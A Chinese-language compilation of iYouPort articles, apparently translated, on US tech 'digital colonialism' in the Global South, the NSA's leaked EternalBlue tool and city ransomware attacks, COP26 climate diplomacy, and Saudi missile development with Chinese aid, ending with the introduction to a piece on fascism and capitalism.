例如，苹果公司从其智能手机的知识产权和品牌中提取租金，并沿着商品链协调生产。较低层次的生产者，如台资企业富士康（Foxconn）旗下制造工厂的手机组装商、在刚果开采的电池用矿物以及提供处理器的芯片制造商，都要服从苹果的需求和随意性。

换句话说，科技巨头们控制着整个商品链上的商业关系，从他们的知识、积累的资本和对核心功能部件的主导权中获利。这使得他们可以向下讨价还价，或者不把那些大规模生产其产品的相对大型企业当作下属。

大学也是同谋。帝国的核心国家中最有声望的大学是学术生产空间中最主要的行为者，而外围或半外围的最脆弱的大学则是最受剥削的，它们往往缺乏研究和开发的资金，缺乏为研究成果申请专利的知识或能力，也缺乏在其工作被征用时进行反击的资源。

教育的殖民化

「图」

数字殖民的一个例子是在教育部门。

正如 Michael Kwet 在关于南非教育技术的博士论文中详细介绍的那样，微软、谷歌、培生、IBM和其他技术巨头正在全球南方的教育系统中大展拳脚。对于微软来说，这并不是什么新鲜事。如上所述，微软曾试图强硬地要求非洲各国政府用微软 Windows 取代自由软件，包括在学校。

在南非，微软在当地拥有一支教师培训师队伍，培训教师如何在教育系统中使用微软软件。它还向文达大学等高校提供Windows平板电脑和微软软件，并广泛宣传这种合作关系。最近，它与移动供应商 Vodacom（英国跨国公司沃达丰拥有多数股权）合作，为南非学习者提供数字教育。

虽然微软是第一大供应商，在南非9个省级教育部门中至少有5个签订了合同，但谷歌也在寻求市场份额。他们与南非初创企业CloudEd合作，以寻求与省级部门达成首个谷歌合同。

而与此同时，《中国在使用非洲人的脸部数据训练其人脸识别算法》。

迈克尔和苏珊-戴尔基金会也加入其中，向省级政府提供数据驱动决策（DDD）平台。DDD软件旨在收集数据，这些数据可以跟踪和监测教师和学生，包括成绩、出勤率和所谓的“社会问题”。虽然学校每周上传收集到的数据，而不是实时上传，但最终目标是对学生的行为和表现进行实时的监控，以便进行官僚管理和“纵向数据分析”（分析一段时间内收集到的关于同一群体的数据）。

南非政府也在扩大基础教育部（Department of Basic Education）的云端，最终可能用于侵入性的技术官僚监控。微软向基础教育部提出了一项建议，即收集“用户生命周期”的所有数据，从学校开始，对于那些保留微软Office 365账户的人来说，要收集到成年后的数据，这样政府就可以对教育和就业之间的联系等进行纵向分析。

科技巨头的数字殖民主义正在全球南方的教育系统中迅速蔓延。Giselle Ferreira 和她的合著者描述巴西时写道：“巴西发生的事情和 Kwet（2019）对南非案例（可能还有全球南方的其他国家）的分析之间的相似性是惊人的。特别是，当GAFA [谷歌、亚马逊、Facebook、苹果] 假装慷慨地将技术提供给处境不利的学生时，数据会毫无阻碍地被提取，随后以一种使当地特殊性变得不重要的方式进行处理。”

学校是科技巨头公司扩大对数字市场控制的绝佳场所。南方国家的穷人往往依赖政府或企业免费为他们提供的设备，使他们依赖他人来决定使用哪种软件。有什么比在提供给儿童的设备上预装科技巨头的软件更好的方式来获取市场份额呢？这样做还有一个好处，就是可以抓住未来的软件开发者，他们在花了几年时间使用巨头公司的软件并习惯了这些界面和功能之后，可能会更喜欢谷歌或微软（而不是基于自由软件的技术解决方案）。1999年在西雅图举行的抗议世贸组织运动的标志性横幅

劳动剥削

「图」

数字殖民主义还体现在全球南部国家被严重剥削，以提供数字技术的关键投入的体力劳动。长期以来，人们一直注意到，刚果民主共和国供应着世界上**70%**以上的钴，而钴是汽车、智能手机和电脑所用电池的基本矿物。目前，刚果民主共和国的14个家庭正在起诉苹果、特斯拉、Alphabet、戴尔和微软，指责他们从钴矿开采行业的童工中获益。开采矿物的过程本身往往会对工人的健康及其周围的栖息地产生不利影响。

如果您错过了此前推荐的这本书《外表是骗人的》。

至于锂，顶级储量位于智利、阿根廷、玻利维亚和澳大利亚。以富裕国家的标准来看，所有拉美国家工人的工资都很低，特别是考虑到他们所忍受的工作条件。虽然可获得的数据各不相同，但在智利，受雇于矿场的人每月的收入大约在1430美元至3000美元之间，而在阿根廷，月工资可低至300美元至1800美元之间。2016年，玻利维亚矿工的月最低工资提高到250美元。相比之下，澳大利亚矿工的月薪在9000美元左右，年薪可以达到20万美元。

南方国家也为科技巨头提供了丰富的廉价劳动力。这包括人工智能数据集的数据注释、呼叫中心工人、和 Facebook 等社交媒体巨头的内容版主。内容版主的工作是清理社交媒体上令人不安的内容，如血腥和性暗示的材料，往往会让他们的心理受到伤害。然而，在印度这样的国家，一名内容版主的年薪只有3500美元 —— 这还是在1400美元加薪之后。

一个中国或美国的数字帝国？

「图」

在西方，有很多关于所谓“新冷战”的议论，美国和中国为争夺全球科技霸主地位而大打出手。然而，仔细观察科技生态系统就会发现，美国企业在全球经济中占据了压倒性的优势。

中国在经历了几十年的高速增长后，创造的GDP占全球GDP的17%左右，预计到2028年将超过美国，这为美帝国“正在衰落“的说法提供了依据（这种说法之前已经随着日本的崛起流行过一次了）。如果以购买力平价衡量中国经济，其规模已经超过美国。然而，正如经济学家肖恩·斯塔尔斯（Sean Starrs）所指出的那样，这种观点错误地将国家视为自成一体的单位，“像桌子上的台球一样互动”。斯塔尔斯认为，实际上，美国的经济主导地位“并没有下降，而是全球化了”。从科技巨头来看，情况尤其如此。

在二战后，企业生产遍布跨国生产网络。例如，在20世纪90年代，像苹果这样的公司开始将电子产品制造从美国外包到中国和台湾，剥削富士康等公司雇佣的血汗工厂工人。美国的科技跨国公司经常设计诸如高性能路由器交换机（如思科）的IP，同时将制造能力外包给南方的硬件制造商。

斯塔尔斯对《福布斯》全球排名的全球前2000家上市公司进行了剖析，并按照25个行业进行了整理，显示出美国跨国公司的主导地位。截至2013年，在前25个行业中，美国巨头在18个行业的利润份额中占据主导地位。在他即将出版的《美国权力全球化》一书中，斯塔尔斯的分析表明，美国仍然占据主导地位。在IT软件与服务方面，美国的利润份额为76%，而中国为10%；在科技硬件与设备方面，美国为63%，而中国为6%；在电子方面，美国的利润份额分别为43%和10%。其他国家，如韩国、日本和台湾，在这些类别中的表现往往也比中国更好。

因此，像人们经常做的那样，将美国和中国描绘成全球科技霸主之争的平等竞争者，是非常误导性的。

例如，联合国2019年的一份“数字经济”报告指出：“数字经济的地理分布高度集中在两个国家”—— 美国和中国。但该报告不仅忽略了斯塔尔斯等作者所指出的因素，也没有说明中国的大部分科技产业只是在中国国内占主导地位，除了极少数主要产品和服务，如5G（华为）、CCTV摄像头（海康威视、大华）和社交媒体（TikTok），这些产品和服务在国外也占有很大的市场份额。中国也对一些外国科技公司进行了大量投资，但是，这很难说明对美国的主导地位构成真正

的威胁，因为美国的外资份额更大。

实际上，美国才是最高的科技帝国。在中美边界之外，美国在搜索引擎（谷歌）；网络浏览器（谷歌Chrome、苹果Safari）；智能手机和平板电脑操作系统（谷歌Android、苹果iOS）；台式机和笔记本电脑操作系统（微软Windows、macOS）；办公软件（微软Office、谷歌G Suite、苹果iWork）等类别中都处于领先地位。云基础设施和服务（亚马逊、微软、谷歌、IBM）；社交网络平台（Facebook、Twitter）；交通（Uber、Lyft）；商业网络（微软LinkedIn）；流媒体娱乐（谷歌、YouTube、Netflix、Hulu）和在线广告（谷歌、Facebook）等，都是主导地位。

结果是，无论你是个人还是企业，只要你在使用电脑手机，美国公司的受益就最大。他们拥有整个数字生态系统。Microsoft Domain Awareness System（也称为Microsoft Aware）桌面界面的快照。摘自Microsoft演示文稿中的照片，名为 “始终感知”。

政治统治和暴力手段

「图」

美国科技巨头的经济实力与他们在政治和社会领域的影响力是相辅相成的。与其他行业一样，科技高管与美国政府之间存在着一扇政治旋转门，科技公司和商业联盟花了大量时间游说监管机构，以争取有利于其特定利益 —— 以及整个数字资本主义的政策。

在这里看到《*Facebook* 的旋转门》，在这里看到《谷歌的旋转门》。《反垄断？算了吧 …… 巨头公司的律师正排队进入司法部高层职位》

政府和执法机构则与科技巨头形成公私监控伙伴关系，做他们的肮脏工作。2013年，爱德华·斯诺登（Edward Snowden）著名地披露，微软、雅虎、谷歌、Facebook、PalTalk、YouTube、Skype、AOL和苹果都通过棱镜项目与国安局共享信息。随后更多的披露，世界了解到，企业存储的数据和通过互联网传输的数据被吸进巨大的政府数据库，供国家利用。从中东到非洲和拉丁美洲，全球南方国家一直是**NSA**监控的目标。

这正是为什么*IYP*有 “中东和北非” 专栏，因为这里是高堡奇人地缘政治斗争的主要战场；并且，中国对拉美的关系正在快速深入，利益冲突是非常鲜明的。

警方和军方也与巨头科技公司合作，科技公司作为监控产品和服务的提供者，乐于兑现肥厚的支票，包括在南方国家。例如，微软通过其鲜为人知的公安和司法部门，与“执法”监控供应商建立了广泛的合作生态系统，这些供应商在微软云基础设施上运行其技术。这包括巴西和新加坡警方购买的名为“Microsoft Aware”的全城指挥控制监控平台，以及在南非开普敦和德班推出的带有面部识别监视摄像头的警车解决方案。

微软还深耕监狱行业。它提供了各种监狱软件解决方案，覆盖了从少年“罪犯”到审前和缓刑，再到监狱和牢狱，以及出狱和假释的整个惩戒管道。在非洲，他们与一家名为 Netopia Solutions 的公司合作，该公司提供的监狱管理软件（PMS）平台包括“越狱管理”和囚犯分析。

虽然目前还不清楚 Netopia 的监狱管理解决方案具体部署在哪里，但微软表示，“Netopia 是摩洛哥的[微软合作伙伴/供应商]，深度关注北非和中非的数字化转型、政府服务”。摩洛哥有残害异议人士和折磨囚犯的悠久历史，美国最近承认其吞并西撒哈拉，违反了国际法。

几个世纪以来，帝国一直都是首先在外国民众身上测试监视和控制公民的技术，从弗朗西斯·高尔顿爵士在印度和南非应用指纹的开创性工作、到美国将生物识别技术与管理统计和数据管理的创新结合起来，形成了第一台现代监控设备，平定了菲律宾。正如历史学家阿尔弗雷德·麦考伊所表明的那样，在菲律宾部署的监控技术的收集为一种模式提供了试验场 —— 这种模式最终被带回美国用于打击国内的异议人士。微软公司及其合作伙伴的高科技监视项目表明，非洲人继续充当着肉体实验的实验室。

就如帝国将其他弱小国家当成试验场那样，中国也将自己的少数民族人口当作试验场：《中国的“新疆模式”如何借鉴美国、英国和以色列的平叛战略》。

回到反抗

「图」

数字技术和信息在各地的政治、经济和社会生活中发挥着核心作用。作为帝国计划的一部分，美国跨国公司通过拥有和控制知识产权、数字智能和计算手段，正在重塑全球南方的殖民主义。大多数核心基础设施、产业和计算机所发挥的功能都是美国跨国公司的私有财产，这些公司在美国境外占据了压倒性的优势。最大的公司，如微软和苹

果，以知识垄断的方式主导着全球供应链。

随之而来的是不平等的交换和分工，加强了边远地区的依赖性，同时使大规模的移民和全球贫困永久化。

富国和他们的公司并不是在平等的条件下分享知识、转让技术和提供全球共同繁荣的基石，而是旨在保护自己的优势，勒索南方国家的廉价劳动力和租金。通过垄断数字生态系统的核心组成部分，在学校和技能培训项目中推行他们的技术，并与南方的企业和国家精英合作，科技巨头正在占领新兴市场。他们甚至会从为警察部门和监狱提供的监控服务中获利，这一切都是为了赚钱。

然而，面对高度集中的权力，总有一些人进行反击。南方国家对科技巨头的抵制由来已久，可以追溯到国际社会抗议IBM、惠普和其他公司在种族隔离的南非做生意的时代。在2000年代初，全球南方国家接受了自由软件和全球共享，作为抵制数字殖民主义的一种手段，尽管这些举措中的许多已经消退。但在过去的几年里，新的反对数字殖民主义的运动再次出现高峰。

在这幅图景中，还有更多的事。资本主义造成的生态危机正迅速威胁着地球上的生命，数字经济的解决方案必须与环境正义和更广泛的平等斗争交织在一起。

为了铲除数字殖民主义，我们需要一个不同的概念框架，挑战根源和主要行为者，与愿意对抗资本主义和专制主义、帝国主义及其知识分子支持者的草根运动相结合。〇

Digital Colonialism: The Evolution Of American Empire

原文

死于自己制造的武器 - iYouPort

关于高堡奇人

你制作的任何一件进攻性武器，最终都会变成瞄准你的黑枪。这就是本时代赋予我们所有人的选择：要么每个人都能得到这种能力，要么没有任何人能得到。绝无其他选项。

「图」

「图」

近年来，在美国，关于解散国安局的呼声越来越高，从最初的学界到后来的民间异议。这件事已经越来越紧迫了。

自 1952 年成立以来，国安局就被赋予了双重使命：首先是信号情报（SIGINT）拦截属于被华盛顿认为是美国敌人的通信；其次是通信安全（COMSEC）保护美国军事和政府部门不被他人拦截。

因为不同国家使用不同的通信系统，军事人员和平民也使用不同的通信系统，当时这两大使命是互补的。

但是，那只是当时，如今这两个使命完全矛盾。

⚠或许法律可以决定什么样的监控是合法的，但是技术才能确定什么样的方法是可行的。互联网告诉你的第一件事就是，技术无国界，信息无国界，不论是安全还是伤害，全球共享。

如今国安局已经无法做到在削弱敌人的同时保护自己的网络。情报机构用于相互监视的技术漏洞，也同样被犯罪分子用来窃取财务密码、发送勒索软件—— 横扫了全球 99 个国家和地区的著名勒索软件 WannaCry 已经家喻户晓，英国媒体反思了英国被该勒索软件瘫痪的社会，但没能触及根源性问题，即，该勒索软件正是利用的美国国安局实施间谍活动的工具“EternalBlue”，该工具被犯罪分子获取的结果。

这根本无法避免。因为全球人使用着同样的产品、技术、协议和标准，你只有两种选择：要么把它变成更容易被每个人监视他人所用，要么使其变成更难以被任何人监视他人所用。注意是任何人，情报机构当然在其中。

这就是自由对抗控制，所有人在共进退。

在互联网的世界里强调国家概念是非常可笑的（中国政府就在这样强调，一些中文舆论也是如此）。曾在小布什政府中担任助理总检察长的哈佛大学法学教授 Jack L.Goldsmith 撰文明确过这点：“每一个攻击性武器的开发都会成为我们防守的弱点，反之亦然”。

比如美国《通信协助执法法案 CALEA》要求电话交换机启用窃听功能。即便美国人都允许警方拥有这些能力，假设所有人都信任警察不会滥用权力，但是这些电话交换机是销往全球的。

2004 ~ 2005年期间，希腊政府部门中有一百多成员的手机遭到窃听，包括总理和国防部长、外交、司法部门全在内，还有希腊著名的公民。为什么？

因为瑞典电信供应商爱立信在沃达丰产品中设置了窃听功能，虽然只在政府的要求下才运转。

但是，希腊政府显然不是那些恰好能指挥窃听的政府，于是它就变成了被窃听对象—— 只要这些功能存在，任何有技术的人都能开启它，并达到自己的目的。

这类状况比比皆是。因为这就是本时代赋予我们所有人的选择：要么每个人都能得到这种能力，要么没有任何人能得到。绝无其他选项。

美国有着令人钦佩的强大技术能力，⚠但如果它用不对地方的话，绝对就会成为全球专制政府和犯罪分子的盛宴。

「图」

「图」

近三个星期以来，巴尔的摩一直在努力应对数字敲诈勒索者的网络攻击，这些网络攻击已经冻结了数千台计算机，关闭了电子邮件、破坏了房地产销售、水费账单、健康警报和许多其他服务。

但是，那些沮丧的城市员工和居民不知道的是 ：网络犯罪分子在攻击

中使用的恶意软件的一个最关键部分，正是用美国纳税人的钱开发的，开发者就是美国国家安全局，距离巴尔的摩—华盛顿大道仅有很短的车程。

自2017年以来，当 NSA 失去对 EternalBlue 工具的控制时，⚠它已经被朝鲜、俄罗斯、以及最近中国的国家黑客所接受，在全球范围内轰了一条毁灭之路，造成了数十亿美元的损失。

但是在过去的一年里，这种网络武器已经变成了回旋器，现在正在 **NSA** 自己的后院爆炸。

而且不仅仅在巴尔的摩。

安全专家表示，EternalBlue 攻击已经达到了很高的水平，网络犯罪分子正在调查美国最脆弱的城镇，从宾夕法尼亚州到德克萨斯州，使地方政府陷入瘫痪，并推高成本。

之前的报道没有提及 NSA 与美国城市遭受袭击之间的联系，部分原因是该机构拒绝讨论甚至拒绝承认其网络武器的丢失，这些工具于2017年4月由一个自称为 Shadow Brokers 的仍然身份不明的团体在网上倾销。

多年以后，该机构和联邦调查局仍然不知道 Shadow Brokers 究竟是外国间谍还是国安局内部心怀不满的员工。

约翰斯·霍普金斯大学（Johns Hopkins University）网络安全专家托马斯·里德（Thomas Rid）将其称为“NSA历史上最具破坏性和成本最高的突破，“比2013年爱德华·斯诺登泄漏的文件更厉害。

“政府拒绝承担责任，甚至拒绝回答最基本的问题，”**Rid** 说，“国会监督似乎失败了。美国人民应该得到答案。”

NSA 和 FBI 都拒绝置评。

自那次泄漏以来，外国情报机构和流氓攻击者不断利用 EternalBlue 传播恶意软件，这些恶意软件使医院、机场、铁路和航运公司、ATM、以及生产关键疫苗的工厂完全瘫痪。

现在，该工具正转向了美国最脆弱的地方，地方政府的数字基础设施老化，自卫资源也非常少。

「图」

「图」

On May 7, city workers in Baltimore had their computers frozen by hackers. Officials have refused to pay the $100,000 ransom.Credit.

在它泄露之前，**EternalBlue** 是**N.S.A.**的 **cyberarsenal** 中最有用的漏洞之一。根据三名前**N.S.A.**前员工称，分析师花了将近一年的时间在微软的软件中发现的这个漏洞，并并把它做成了间谍武器。

最初，他们称之为 EternalBluescreen，因为它经常使计算机崩溃 —— 这种风险可能会导致目标察觉。但它继续成为无数情报收集使用的可靠工具。

EternalBlue 非常有价值，前N.S.A.员工表示，该机构从未考虑过向微软提醒这些漏洞，并在泄露之前已经使用了五年多 —— 这是纽约时报的说法。但是，如果您读过斯诺登泄漏的文件就能意识到，微软和NSA私下的合作有多么的紧密，你真的相信微软“不知道”吗？

5月7日的巴尔的摩袭击是一次典型的勒索软件攻击。

城市工人的屏幕突然被锁定，一条蹩脚的英语消息跳出来。要求大约价值10万美元的比特币：“我们已经盯了你们好几天了，我们不会多说，拿钱来，赶快！”

尽管变通办法恢复了一些服务，但是巴尔的摩仍然是残的，因为城市官员拒绝付款。专家说，如果没有 **EternalBlue**，损害就不会那么大。

该工具利用未修补软件中的漏洞 —— 即0day，使黑客能够比其他任何方式更快速、更远程地传播恶意软件。

朝鲜是第一个选择使用该工具的国家，因为2017年的一次袭击，也就是著名的 WannaCry，使英国医疗保健系统、德国铁路和全球约20万家组织完全瘫痪。

接下来是俄罗斯，它在一次攻击中使用了这种武器 —— 名为 NotPetya —— 针对的是乌克兰，但却传播到了在该国开展业务的美国大公司。这次袭击使联邦快递损失超过4亿美元，而制药巨头 Merck 损失了6.7亿美元。

破坏并没有就此止步。在过去一年中，针对2016年美国总统大选的俄罗斯黑客使用 EternalBlue 来破坏酒店的Wi-Fi网络。

根据安全公司赛门铁克和FireEye的研究人员的说法，伊朗黑客利用它来传播勒索软件并破坏中东的航空公司。

赛门铁克安全响应总监 Vikram Thakur 说："令人难以置信的是，情报部门使用的工具现已公开发布并被广泛使用。"

在 Shadow Brokers 于2017年开始在线倾销 NSA 间谍工具前一个月，微软终于发布了一个补丁，但全球仍有数十万台计算机未受到保护。

「图」

「图」

Microsoft employees reviewing malware data at the company's offices in Redmond, Wash. EternalBlue exploits a flaw in unpatched Microsoft software.CreditKyle Johnson for The New York Times

攻击者似乎已经在巴尔的摩、宾夕法尼亚、圣安东尼奥、和其他当地的美国政府中找到了一席之地，那里的公务员经常使用过时的软件。

去年7月，美国国土安全部发出严厉警告，称国家和地方政府受到特别具有破坏性的恶意软件的攻击，现在，安全研究人员称，恶意软件已开始依赖 EternalBlue 进行传播。

追踪 EternalBlue 使用情况的微软不会说出受影响的城镇有哪些；但其他专家介绍了巴尔的摩、阿伦敦、和圣安东尼奥的袭击事件，证实黑客使用的是 EternalBlue。

安全响应人员表示他们几乎每天都会看到 EternalBlue 发起突然袭击。

Cybereason 的安全研究负责人 Amit Serper 表示，他的公司已经对美国三所大学遭受的 EternalBlue 攻击做出了回应，并在达拉斯、洛杉矶和纽约等主要城市发现了易受攻击的服务器。

地方政府难以承担成本。该城市的首席信息官 **Matthew Leibert** 表示，去年**2**月的阿伦敦袭击造成城市服务中断足有数周，耗资约**100**万美元用于补救 —— 另外还有每年**42**万美元的新防御措施费用。

他描述了危险的代码包，这些"恶意软件商品"在暗网上出售，并被没有特定目标的罪犯使用。

据两位知情人士透露，去年9月袭击圣安东尼奥的恶意软件感染了Bexar 县治安官办公室内的计算机，并试图在网络中传播，用的就是EternalBlue。

上周，安全公司 Palo Alto Networks 的研究人员发现，一个中国国家组织 Emissary Panda 使用 EternalBlue 侵入了中东政府。

Palo Alto Networks 的威胁情报副主任 Jen Miller-Osborn 说：“你不能指望一旦最初的攻击浪潮结束，它就会消失。”

“我们预计 **EternalBlue** 基本将永远被使用，因为只要攻击者发现一个没有打补丁的系统，它就能非常有用。”

「图」

「图」

Adm. Michael S. Rogers, who led the N.S.A. during the leak, has said the agency should not be blamed for the trail of damage.CreditErin Schaff for The New York Times

大约十年前，全球最强大的网络武器全部属于美国国家安全局 —— N.S.A.官员使用“NOBUS”这个术语代表“除了我们之外没有其他人”，因为只有该机构才能利用其中的漏洞。

但是，这种优势现在已经没了，不仅仅是因为泄漏，而是因为 —— 正如本文开头所解释的 —— 任何人都可以获取网络武器的代码。

在位于华盛顿州雷德蒙市的微软总部，成千上万的安全工程师发现自己正处于这些攻击的前线，微软高管拒绝这种类比。

微软总裁 Brad Smith 呼吁召开“数字日内瓦公约”来管理网络空间，包括各国政府承诺向供应商报告漏洞，而不是让漏洞保密以利用其实施间谍或攻击。

这句话纯粹BS，难道他不知道 0day 有多值钱？美国间谍机构是全球0day市场最大的买家，更多详见《零日漏洞和 CIA 黑客工具》

更多详见“监视之恶”系列。

In Baltimore and Beyond, a Stolen N.S.A. Tool Wreaks Havoc

原文

气候政治：为什么旧的外交模式不再奏效 - iyouport

关于高堡奇人

气候危机和新冷战之间的关系有可能变成什么样？

【注】本文不代表IYP立场，您知道我们在气候危机问题上的立场是什么。但是，本文作为一个局势分析是有价值的，希望您可以领会它的意思，因为这是近期最重要的话题之一。

联合国秘书长安东尼奥·古特雷斯宣布，这是“人类的红色警报”。他感叹道，世界已经没有时间了。关于气候危机的语言正变得越来越令人震惊。

正如最近的报告所显示的，目前的国家承诺正导致世界温度上升近三度。这样的温度将引发科学家们所说的“级联”，即一个灾难引发另一个灾难，带来更广泛的经济、社会和地缘政治后果。

这就是未来。现在和过去已经足够令人震惊了。世界气象组织说，在过去50年里，由气候变化引起的洪水和热浪等灾害的数量增加了5倍。

这就是世界领导人和专家们前往格拉斯哥参加Cop26的背景。该峰会是在最糟糕的时候举行的，各国都在努力抵御大流行病并重新启动其经济。他们承诺“重建得更好”，但早期证据显示，他们正在尽可能快地重建—— 不惜一切代价来启动增长，包括高排放的基础设施项目。https://t.me/iyouport/8909

所有这些都是在冷战以来最危险的大国争霸升级的时候发生的。美国经常指责中国对待新疆维吾尔族人的行为和在香港的镇压行为，以及对台湾的威胁、南海的紧张局势和网络攻击。AUKUS项目—— 美国、澳大利亚和英国联合为澳大利亚建造核动力潜艇以部署在印度太平洋地区—— 的宣布加剧了紧张局势。

气候问题是对是否有可能同时竞争世界的主导地位和合作拯救世界的

最终考验。如果美国和中国不能在这方面合作，如果他们不能把其他国家带在身边，那么他们还能做什么？美国和中国对全球40%的温室气体负有共同责任。

从逻辑上讲，如果他们不走到一起，无论是多边还是双边，在这个问题上都不会取得有意义的进展。换句话说，我们将注定失败。

迄今为止的证据表明，传统的外交—— 胡萝卜和大棒的结合，握手和传声筒的结合—— 并没有发挥作用。

在拜登担任总统的头100天里，美国与中国举行了一系列会谈。在3月于阿拉斯加举行的第一次会谈中，中国高级外交官员杨洁篪在美国国务卿攻击中国的人权记录后，对安东尼·布林肯进行了抨击。

4月，拜登总统的气候特使约翰·克里成为新政府第一位访问中国的高级官员，与中国特使解振华会谈。随后，习近平出席了拜登召集的在线领导人气候峰会。克里和解振华已经在网上和面对面地交谈了十几次。

目前仍不清楚这些不同的会议取得了什么成果。因此，一方哄着另一方改善其气候表现的前景如何？

首先，作为积极的一面。Cop26由于大流行而晚了一年，这个时间差让我们与唐纳德·特朗普时代有了一定的距离。拜登在上任后几天就签署了一系列行政命令，指示政府将气候变化作为核心问题。在克里身上，美国有一个有地位的谈判者，穿梭于世界各地，试图劝说各国加强其承诺。

但美国的立场有三个弱点。首先，国际社会正在考虑到特朗普回归的可能性—— 或者至少是 “特朗普主义”。拜登的一些最激进的气候行动可能会被迅速逆转。

第二，政府坚持认为气候谈判必须与其他问题分开。克里拒绝了中国可以交易美国在人权问题上的沉默作为气候合作的代价的说法。然而，中国已经明确表示，任何将气候问题与其他政策问题分开的想法都是不可行的。

第三个弱点可能是最难解决的。即使在阿富汗的失败之前，美国的力量就已经被削弱了。拜登政府一直在努力说服富裕国家履行其长期承诺，每年拿出1000亿美元的气候资金来帮助较贫穷的国家。

联合国是中国在2020年进行戏剧性干预的场所，当时习近平宣布，中

国将在2030年前实现碳达峰目标，并在2060年前实现碳中和，呼吁各国“为所有人追求创新、协调、绿色、开放的发展”。中国以前没有承诺过实现净零排放的日期—— 然后它比美国更早地这样做了。

编排很重要。中国热衷于显示其公告是根据自己的条件，这样就不会因为失败而受到指责。墨卡托中国研究所的执行主任 Mikko Huotari 说：“中国人不会被摆布。这是一场等待的游戏—— 并希望得到信号”。

最有可能引发激进变革的因素在其他地方，而且是基于国家的自身利益。哪个大国，哪个政治体系，将抓住绿色全球公民的衣钵，并推动世界上其他政府采取行动？哪个国家会抓住绿色技术带来的巨大经济利益？

中国的经济规模如此之大，它生产的可再生基础设施比世界上其他国家的总和还要多，使太阳能、风能和其他资源的成本下降。

但是，即使在中国这样一个严格控制的国家，国内压力也是相当大的。煤炭仍然是增长的关键因素，占总能源消耗的三分之二。目前是排放量以十年来的最快速度增长。弹性和能源安全是最重要的。最近，由于产量下降，有10个省被迫进行能源配给，引发了人们的恐慌，并要求增加而不是减少煤炭。

一种民族主义正在形成，气候危机被谴责为“西方的伪科学”，“是阻止中国发展的阴谋”。这反映了世界各地正在发生的文化冲突。

除了对抗和竞争之外，还有另一种本能：自我保护。在什么时候，人们才能开始意识到当权者在气候问题上的不作为正在危及所有人？情况要糟到什么程度，人们才会要求彻底改变，甚至在专制国家？

仅在2021年，加拿大和美国西北太平洋地区的野火肆虐，气温高达50度，纽约的地铁被大水吞没，洪水席卷德国和比利时。

重要的是，这也发生在中国。7月17日，郑州的地铁乘客惊恐地站在齐胸高的水中，因为在短短三天内下了将近一年的雨，整个河南省有300多人死亡。郑州的地铁线路仅在五年前建成，本应能够抵御气候紧急情况。当地政府在社交媒体上受到了前所未有的批评。习近平犹豫是否要去那里，外国记者在采访居民时受到骚扰，而国家媒体则强调中国人民解放军的“英雄”努力。

中国的领导层要求别人给它松口气。它的论点是，它和其他“发展中”

国家只是在追赶，不应该受到与美国和欧洲相同的限制，因为美国和欧洲的排放时间要长得多。

“中外对话”(China Dialogue) 组织的高级顾问伊莎贝尔·希尔顿总结了这种困境：“在国内，尽管可再生能源部署迅速，但在一个仍然严重依赖煤炭的国家，转型的复杂经济学问题，以及在一个日益紧张的世界中对能源安全的担忧，似乎正在惊人地减缓中国的努力步伐”。

在Cop26会议之前的日子里，为绿色证书而进行的竞标战加剧，在美德的标示和告诫中进行。这是一场更广泛的冷战中的代理权争夺战。它是否会刺激各方采取更激进的绿色政策？

蝎子和青蛙的古老故事提供了一个最坏的情况。一只蝎子想过河，但不会游泳，所以它要求一只青蛙背它过河。青蛙担心蝎子会蜇它，但蝎子认为，如果它蜇了青蛙，它们就都会淹死。青蛙同意了，让蝎子爬到它的背上，开始游泳。游到一半时，蝎子蜇了青蛙，然后他俩都死了。这个故事的意思是说，没办法，这就是蝎子的本性。〇

本文是英国作家约翰·坎普夫纳 *(John Kampfner)* 的长文的缩略版，是关于 “竞争时代合作” 的三份系列报告中的第二份，借鉴了查塔姆研究所的专家分析和建议。

在这里看到完整文章《*Climate politics: Why the old diplomacy no longer works*》。

原文

沙特在中国援助下扩大了弹道导弹计划 - iYouPort

关于高堡奇人地缘政治

美国卖核技术、中国卖弹道导弹，为什么美中又开始争抢沙特这个大客户？

「图」

「图」

美国有线电视新闻网报道称，美国情报显示沙特阿拉伯在中国政府的帮助下大大扩展了其弹道导弹计划。

以前没有报道过的机密情报显示，该国最近从中国购买了一些资产，使其能够大幅扩展其导弹基础设施和技术。

特朗普政府没有立即向国会的主要成员披露调查结果，导致一些民主党人得出结论认为这是故意遗漏。

中央情报局和国家情报总监办公室没有立即回应评论请求。

消息人士告诉CNN说，沙特的最终目标并不是很清楚，尽管看起来像是为核弹头所做的努力的一部分。

沙特王储穆罕默德·本·萨勒曼（Mohammed bin Salman）曾经表示，如果伊朗地区对手发展核武器，该王国将努力获得核武器。

“毫无疑问，如果伊朗发展核弹，我们将尽快效仿”，MBS 去年对美国媒体说。

关联此前的报道《美国在将高度敏感的核技术卖给沙特》

「图」

「图」

Feb 2019

根据1987年导弹技术控制制度，沙特被禁止从美国购买弹道导弹，但至少在几十年前沙特已经从中国购买了弹道导弹，公开报告显示他们可能在2007年再次购买过。

CNN称，美国一直试图通过销售美国军用飞机来阻止沙特阿拉伯寻求导弹，军用飞机也能确保沙特在该地区保持空中力量优势。

华盛顿智库民主国家基金会的 Behnam Taleblu说："沙特不需要与伊朗竞争生产或采购弹道导弹。它已具有重要的常规军事优势。"

然而，最近几个月，美国与伊朗之间的紧张局势有所加剧，德黑兰通过缩减其部分承诺，回应美国退出核协议的行为。

国会与特朗普政府在伊朗问题上的紧张关系也在爆发，最近几周国会议员对特朗普决定绕过国会向沙特和其他海湾盟友出售武器的决定感到愤怒。

国会今年早些时候投票阻止美国支持沙特领导的也门战争。但是在通过众议院和参议院后特朗普否决了这项措施。〇

Saudi Arabia expanded ballistic missile program with Chinese aid: CNN

原文

法西斯主义如何与资本主义融合以重新定义政府 - iyouport

关于高堡奇人

【2021年4月21日存档】法西斯主义是陷入困境的资本主义的求助手段。

【按】这篇文章来自非营利组织独立媒体协会（IMI）的 Economy for All，作者理查德·沃尔夫（Richard D. Wolff）是马萨诸塞大学阿默斯特分校经济学名誉教授，也是纽约新学校大学国际事务研究生课程的客座教授。沃尔夫的每周节目 “经济更新”（Economic Update）由100多个广播电台联合发布，并通过 Free Speech TV 广播给5500万电视接收者。

于是您知道，这篇文章中所指的 “我们” 是美国。如果您想要了解相关的更多内容，可以点击嵌入的链接，您会找到的不只有美国，而是全球资本主义体制的现状 —— 这就是为什么极右翼崛起的主要原因之一，正如文章所指出的，法西斯主义是陷入困境的资本主义的求助手段。

鉴于中国的资本主义化及其可能的深化趋势，建议您在阅读这篇文章时偶尔可以忘记 “美国” 这一主语，就基于资本主义这个概念去理解它。

